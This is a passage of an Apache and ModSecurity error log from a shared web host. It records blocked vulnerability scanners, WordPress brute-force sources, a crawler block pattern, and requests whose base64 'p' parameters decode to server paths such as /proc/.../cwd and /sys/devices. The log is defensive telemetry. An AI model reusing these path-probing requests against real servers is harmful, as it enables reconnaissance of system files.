https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:14:40.810956 2026] [access_compat:error] [pid 531155:tid 531218] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:14:40.814126 2026] [access_compat:error] [pid 531155:tid 531255] [remote 57.141.14.20:44984] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:40.814600 2026] [access_compat:error] [pid 531155:tid 531255] [remote 57.141.14.20:44984] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:40.894272 2026] [security2:error] [pid 531155:tid 531241] [remote 17.246.23.147:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 147.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ycCmiP80klyS0NnojQwABgVU"] [Sat Jun 13 18:14:40.941506 2026] [security2:error] [pid 531155:tid 531179] [remote 17.22.253.145:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 145.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ycCmiP80klyS0NnojRwABTBc"] [Sat Jun 13 18:14:41.166449 2026] [access_compat:error] [pid 531155:tid 531192] [remote 74.7.242.16:55092] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxODAzL2N3ZA== [Sat Jun 13 18:14:41.166919 2026] [access_compat:error] [pid 531155:tid 531192] [remote 74.7.242.16:55092] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxODAzL2N3ZA== [Sat Jun 13 18:14:41.171692 2026] [security2:error] [pid 531155:tid 531247] [remote 17.241.219.102:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 102.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ycSmiP80klyS0NnojUgABVls"] [Sat Jun 13 18:14:41.296748 2026] [access_compat:error] [pid 531155:tid 531206] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDIvZXZlbnQyL2RldmljZQ== [Sat Jun 13 18:14:41.297163 2026] [access_compat:error] [pid 531155:tid 531206] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDIvZXZlbnQyL2RldmljZQ== [Sat Jun 13 18:14:41.702030 2026] [security2:error] [pid 531155:tid 531211] [remote 17.241.75.99:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 99.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ycSmiP80klyS0NnojcgABPDc"] [Sat Jun 13 18:14:41.706953 2026] [security2:error] [pid 531155:tid 531183] [remote 17.22.253.61:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 61.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ycSmiP80klyS0NnojcQABHxs"] [Sat Jun 13 18:14:41.777885 2026] [access_compat:error] [pid 531155:tid 531210] [remote 57.141.14.12:33228] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:41.778141 2026] [access_compat:error] [pid 531155:tid 531210] [remote 57.141.14.12:33228] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:41.828898 2026] [access_compat:error] [pid 531155:tid 531265] [remote 57.141.14.45:38826] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:41.829182 2026] [access_compat:error] [pid 531155:tid 531265] [remote 57.141.14.45:38826] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:41.830542 2026] [access_compat:error] [pid 531155:tid 531260] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:14:41.830874 2026] [access_compat:error] [pid 531155:tid 531260] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:14:41.932008 2026] [security2:error] [pid 531155:tid 531180] [remote 17.246.19.112:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 112.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ycSmiP80klyS0NnojfwABYxg"] [Sat Jun 13 18:14:42.038648 2026] [security2:error] [pid 531155:tid 531237] [remote 185.176.8.77:60098] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 77.8.176.185.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "inspirationalspeakerstm.ca"] [uri "/wp-login.php"] [unique_id "ai3ycimiP80klyS0NnojhQABM1E"] [Sat Jun 13 18:14:42.244185 2026] [security2:error] [pid 531155:tid 531222] [remote 17.241.75.197:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 197.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ycimiP80klyS0NnojjgABP0I"] [Sat Jun 13 18:14:42.273276 2026] [security2:error] [pid 531155:tid 531157] [remote 185.176.8.77:60098] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 77.8.176.185.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "inspirationalspeakerstm.ca"] [uri "/wp-login.php"] [unique_id "ai3ycimiP80klyS0NnojkQABXQE"], referer: https://inspirationalspeakerstm.ca/wp-login.php [Sat Jun 13 18:14:42.286042 2026] [security2:error] [pid 531155:tid 531173] [remote 111.225.149.94:48558] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.smartsafetycenter.com"] [uri "/product/safety-jogger-raptor/"] [unique_id "ai3ycimiP80klyS0NnojkwABGRE"] [Sat Jun 13 18:14:42.415340 2026] [access_compat:error] [pid 531155:tid 531193] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDIvZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:14:42.415613 2026] [access_compat:error] [pid 531155:tid 531193] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDIvZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:14:42.504119 2026] [access_compat:error] [pid 531155:tid 531175] [remote 57.141.14.109:48822] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:42.504402 2026] [access_compat:error] [pid 531155:tid 531175] [remote 57.141.14.109:48822] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:42.553960 2026] [access_compat:error] [pid 531155:tid 531165] [remote 216.73.216.182:42797] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:42.554236 2026] [access_compat:error] [pid 531155:tid 531165] [remote 216.73.216.182:42797] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:42.774989 2026] [access_compat:error] [pid 531155:tid 531276] [remote 57.141.14.109:48828] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:42.775365 2026] [access_compat:error] [pid 531155:tid 531276] [remote 57.141.14.109:48828] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:42.930729 2026] [access_compat:error] [pid 531155:tid 531159] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvaW5wdXQvaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDA= [Sat Jun 13 18:14:42.931025 2026] [access_compat:error] [pid 531155:tid 531159] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvaW5wdXQvaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDA= [Sat Jun 13 18:14:43.007808 2026] [access_compat:error] [pid 531155:tid 531196] [remote 57.141.14.71:43754] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:43.008115 2026] [access_compat:error] [pid 531155:tid 531196] [remote 57.141.14.71:43754] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:43.097029 2026] [access_compat:error] [pid 531155:tid 531174] [remote 57.141.14.98:33230] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:43.097301 2026] [access_compat:error] [pid 531155:tid 531174] [remote 57.141.14.98:33230] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:43.158797 2026] [security2:error] [pid 531155:tid 531378] [client 216.73.216.77:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 77.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/imap/tests/imap_fetchbody_variation2.phpt"] [unique_id "ai3ycymiP80klyS0NnojvgAAAWc"] [Sat Jun 13 18:14:43.439250 2026] [access_compat:error] [pid 531155:tid 531169] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UyL2RldmljZS9tb3VzZTIvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:14:43.439530 2026] [access_compat:error] [pid 531155:tid 531169] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UyL2RldmljZS9tb3VzZTIvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:14:43.674507 2026] [access_compat:error] [pid 531155:tid 531202] [remote 57.141.14.98:33236] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:43.674801 2026] [access_compat:error] [pid 531155:tid 531202] [remote 57.141.14.98:33236] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:43.768000 2026] [security2:error] [pid 531155:tid 531224] [remote 17.22.245.254:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 254.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ycymiP80klyS0Nnoj3wABUEQ"] [Sat Jun 13 18:14:43.833630 2026] [security2:error] [pid 531155:tid 531199] [remote 17.241.219.130:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 130.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ycymiP80klyS0Nnoj5AABJis"] [Sat Jun 13 18:14:43.965703 2026] [access_compat:error] [pid 531155:tid 531247] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQ0L3Bvd2Vy [Sat Jun 13 18:14:43.966148 2026] [access_compat:error] [pid 531155:tid 531247] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQ0L3Bvd2Vy [Sat Jun 13 18:14:44.173474 2026] [access_compat:error] [pid 531155:tid 531177] [remote 57.141.14.100:41095] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:44.173773 2026] [access_compat:error] [pid 531155:tid 531177] [remote 57.141.14.100:41095] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:44.228830 2026] [access_compat:error] [pid 531155:tid 531274] [remote 57.141.14.24:64208] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:44.229273 2026] [access_compat:error] [pid 531155:tid 531274] [remote 57.141.14.24:64208] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:44.509449 2026] [access_compat:error] [pid 531155:tid 531223] [remote 74.7.241.11:37794] AH01797: client denied by 